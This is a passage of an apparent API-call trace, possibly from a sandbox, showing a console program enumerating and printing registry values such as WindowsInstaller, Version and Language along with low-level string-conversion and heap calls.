cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.147] __iob_func () returned 0x7fefd702a80 [0150.147] _fileno (_File=0x7fefd702ab0) returned 1 [0150.147] _errno () returned 0x204bb0 [0150.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.147] _errno () returned 0x204bb0 [0150.147] GetFileType (hFile=0x50) returned 0x1 [0150.147] lstrlenW (lpString="REG_DWORD") returned 9 [0150.147] GetConsoleOutputCP () returned 0x1b5 [0150.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.147] GetConsoleOutputCP () returned 0x1b5 [0150.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.148] __iob_func () returned 0x7fefd702a80 [0150.148] _fileno (_File=0x7fefd702ab0) returned 1 [0150.148] _errno () returned 0x204bb0 [0150.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.148] _errno () returned 0x204bb0 [0150.148] GetFileType (hFile=0x50) returned 0x1 [0150.148] lstrlenW (lpString=" ") returned 4 [0150.148] GetConsoleOutputCP () returned 0x1b5 [0150.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.148] GetConsoleOutputCP () returned 0x1b5 [0150.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.148] __iob_func () returned 0x7fefd702a80 [0150.148] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.148] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.148] _fileno (_File=0x7fefd702ab0) returned 1 [0150.148] _errno () returned 0x204bb0 [0150.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.148] _errno () returned 0x204bb0 [0150.148] GetFileType (hFile=0x50) returned 0x1 [0150.148] lstrlenW (lpString="0x0") returned 3 [0150.149] GetConsoleOutputCP () returned 0x1b5 [0150.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.149] GetConsoleOutputCP () returned 0x1b5 [0150.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.149] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.149] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.149] __iob_func () returned 0x7fefd702a80 [0150.149] _fileno (_File=0x7fefd702ab0) returned 1 [0150.149] _errno () returned 0x204bb0 [0150.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.149] _errno () returned 0x204bb0 [0150.149] GetFileType (hFile=0x50) returned 0x1 [0150.149] lstrlenW (lpString="\n") returned 1 [0150.149] GetConsoleOutputCP () returned 0x1b5 [0150.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.149] GetConsoleOutputCP () returned 0x1b5 [0150.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.149] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.149] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.150] GetProcessHeap () returned 0x3c0000 [0150.150] GetProcessHeap () returned 0x3c0000 [0150.150] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.150] GetProcessHeap () returned 0x3c0000 [0150.150] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.150] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.150] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.150] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.150] GetProcessHeap () returned 0x3c0000 [0150.150] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.150] GetProcessHeap () returned 0x3c0000 [0150.150] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.150] GetProcessHeap () returned 0x3c0000 [0150.150] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.150] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.150] __iob_func () returned 0x7fefd702a80 [0150.150] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.150] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.150] _fileno (_File=0x7fefd702ab0) returned 1 [0150.150] _errno () returned 0x204bb0 [0150.150] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.150] _errno () returned 0x204bb0 [0150.150] GetFileType (hFile=0x50) returned 0x1 [0150.150] lstrlenW (lpString=" ") returned 4 [0150.150] GetConsoleOutputCP () returned 0x1b5 [0150.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.150] GetConsoleOutputCP () returned 0x1b5 [0150.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.151] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.151] __iob_func () returned 0x7fefd702a80 [0150.151] _fileno (_File=0x7fefd702ab0) returned 1 [0150.151] _errno () returned 0x204bb0 [0150.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.151] _errno () returned 0x204bb0 [0150.151] GetFileType (hFile=0x50) returned 0x1 [0150.151] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.151] GetConsoleOutputCP () returned 0x1b5 [0150.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.151] GetConsoleOutputCP () returned 0x1b5 [0150.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0150.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.151] __iob_func () returned 0x7fefd702a80 [0150.151] _fileno (_File=0x7fefd702ab0) returned 1 [0150.151] _errno () returned 0x204bb0 [0150.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.151] _errno () returned 0x204bb0 [0150.151] GetFileType (hFile=0x50) returned 0x1 [0150.151] lstrlenW (lpString=" ") returned 4 [0150.152] GetConsoleOutputCP () returned 0x1b5 [0150.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.152] GetConsoleOutputCP () returned 0x1b5 [0150.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.152] __iob_func () returned 0x7fefd702a80 [0150.152] _fileno (_File=0x7fefd702ab0) returned 1 [0150.152] _errno () returned 0x204bb0 [0150.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.152] _errno () returned 0x204bb0 [0150.152] GetFileType (hFile=0x50) returned 0x1 [0150.152] lstrlenW (lpString="REG_DWORD") returned 9 [0150.152] GetConsoleOutputCP () returned 0x1b5 [0150.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.152] GetConsoleOutputCP () returned 0x1b5 [0150.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.153] __iob_func () returned 0x7fefd702a80 [0150.153] _fileno (_File=0x7fefd702ab0) returned 1 [0150.153] _errno () returned 0x204bb0 [0150.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.153] _errno () returned 0x204bb0 [0150.153] GetFileType (hFile=0x50) returned 0x1 [0150.153] lstrlenW (lpString=" ") returned 4 [0150.153] GetConsoleOutputCP () returned 0x1b5 [0150.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.153] GetConsoleOutputCP () returned 0x1b5 [0150.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.153] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.153] __iob_func () returned 0x7fefd702a80 [0150.153] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.153] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.153] _fileno (_File=0x7fefd702ab0) returned 1 [0150.153] _errno () returned 0x204bb0 [0150.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.153] _errno () returned 0x204bb0 [0150.153] GetFileType (hFile=0x50) returned 0x1 [0150.153] lstrlenW (lpString="0x1") returned 3 [0150.153] GetConsoleOutputCP () returned 0x1b5 [0150.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.154] GetConsoleOutputCP () returned 0x1b5 [0150.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.154] __iob_func () returned 0x7fefd702a80 [0150.154] _fileno (_File=0x7fefd702ab0) returned 1 [0150.154] _errno () returned 0x204bb0 [0150.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.154] _errno () returned 0x204bb0 [0150.154] GetFileType (hFile=0x50) returned 0x1 [0150.154] lstrlenW (lpString="\n") returned 1 [0150.154] GetConsoleOutputCP () returned 0x1b5 [0150.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.154] GetConsoleOutputCP () returned 0x1b5 [0150.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.154] GetProcessHeap () returned 0x3c0000 [0150.154] GetProcessHeap () returned 0x3c0000 [0150.154] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.155] GetProcessHeap () returned 0x3c0000 [0150.155] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.155] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.155] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.155] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.155] GetProcessHeap () returned 0x3c0000 [0150.155] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.155] GetProcessHeap () returned 0x3c0000 [0150.155] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.155] GetProcessHeap () returned 0x3c0000 [0150.155] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.155] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x800ee49, pcbData=0x29f780*=0x4) returned 0x0 [0150.155] __iob_func () returned 0x7fefd702a80 [0150.155] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.155] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.155] _fileno (_File=0x7fefd702ab0) returned 1 [0150.155] _errno () returned 0x204bb0 [0150.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.155] _errno () returned 0x204bb0 [0150.155] GetFileType (hFile=0x50) returned 0x1 [0150.155] lstrlenW (lpString=" ") returned 4 [0150.155] GetConsoleOutputCP () returned 0x1b5 [0150.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.155] GetConsoleOutputCP () returned 0x1b5 [0150.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.156] lstrlenW (lpString="Version") returned 7 [0150.156] __iob_func () returned 0x7fefd702a80 [0150.156] _fileno (_File=0x7fefd702ab0) returned 1 [0150.156] _errno () returned 0x204bb0 [0150.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.156] _errno () returned 0x204bb0 [0150.156] GetFileType (hFile=0x50) returned 0x1 [0150.156] lstrlenW (lpString="Version") returned 7 [0150.156] GetConsoleOutputCP () returned 0x1b5 [0150.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.156] GetConsoleOutputCP () returned 0x1b5 [0150.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0150.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.156] __iob_func () returned 0x7fefd702a80 [0150.156] _fileno (_File=0x7fefd702ab0) returned 1 [0150.156] _errno () returned 0x204bb0 [0150.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.156] _errno () returned 0x204bb0 [0150.156] GetFileType (hFile=0x50) returned 0x1 [0150.156] lstrlenW (lpString=" ") returned 4 [0150.156] GetConsoleOutputCP () returned 0x1b5 [0150.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.157] GetConsoleOutputCP () returned 0x1b5 [0150.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.157] __iob_func () returned 0x7fefd702a80 [0150.157] _fileno (_File=0x7fefd702ab0) returned 1 [0150.157] _errno () returned 0x204bb0 [0150.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.157] _errno () returned 0x204bb0 [0150.157] GetFileType (hFile=0x50) returned 0x1 [0150.157] lstrlenW (lpString="REG_DWORD") returned 9 [0150.157] GetConsoleOutputCP () returned 0x1b5 [0150.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.157] GetConsoleOutputCP () returned 0x1b5 [0150.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.158] __iob_func () returned 0x7fefd702a80 [0150.158] _fileno (_File=0x7fefd702ab0) returned 1 [0150.158] _errno () returned 0x204bb0 [0150.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.158] _errno () returned 0x204bb0 [0150.158] GetFileType (hFile=0x50) returned 0x1 [0150.158] lstrlenW (lpString=" ") returned 4 [0150.158] GetConsoleOutputCP () returned 0x1b5 [0150.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.158] GetConsoleOutputCP () returned 0x1b5 [0150.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.158] __iob_func () returned 0x7fefd702a80 [0150.158] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.158] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x800ee49") returned 9 [0150.158] _fileno (_File=0x7fefd702ab0) returned 1 [0150.158] _errno () returned 0x204bb0 [0150.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.158] _errno () returned 0x204bb0 [0150.158] GetFileType (hFile=0x50) returned 0x1 [0150.158] lstrlenW (lpString="0x800ee49") returned 9 [0150.158] GetConsoleOutputCP () returned 0x1b5 [0150.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x800ee49", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.159] GetConsoleOutputCP () returned 0x1b5 [0150.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x800ee49", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x800ee49", lpUsedDefaultChar=0x0) returned 9 [0150.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.159] __iob_func () returned 0x7fefd702a80 [0150.159] _fileno (_File=0x7fefd702ab0) returned 1 [0150.159] _errno () returned 0x204bb0 [0150.159] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.159] _errno () returned 0x204bb0 [0150.159] GetFileType (hFile=0x50) returned 0x1 [0150.159] lstrlenW (lpString="\n") returned 1 [0150.159] GetConsoleOutputCP () returned 0x1b5 [0150.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.159] GetConsoleOutputCP () returned 0x1b5 [0150.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.159] GetProcessHeap () returned 0x3c0000 [0150.159] GetProcessHeap () returned 0x3c0000 [0150.160] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.160] GetProcessHeap () returned 0x3c0000 [0150.160] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.160] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.160] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.160] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, 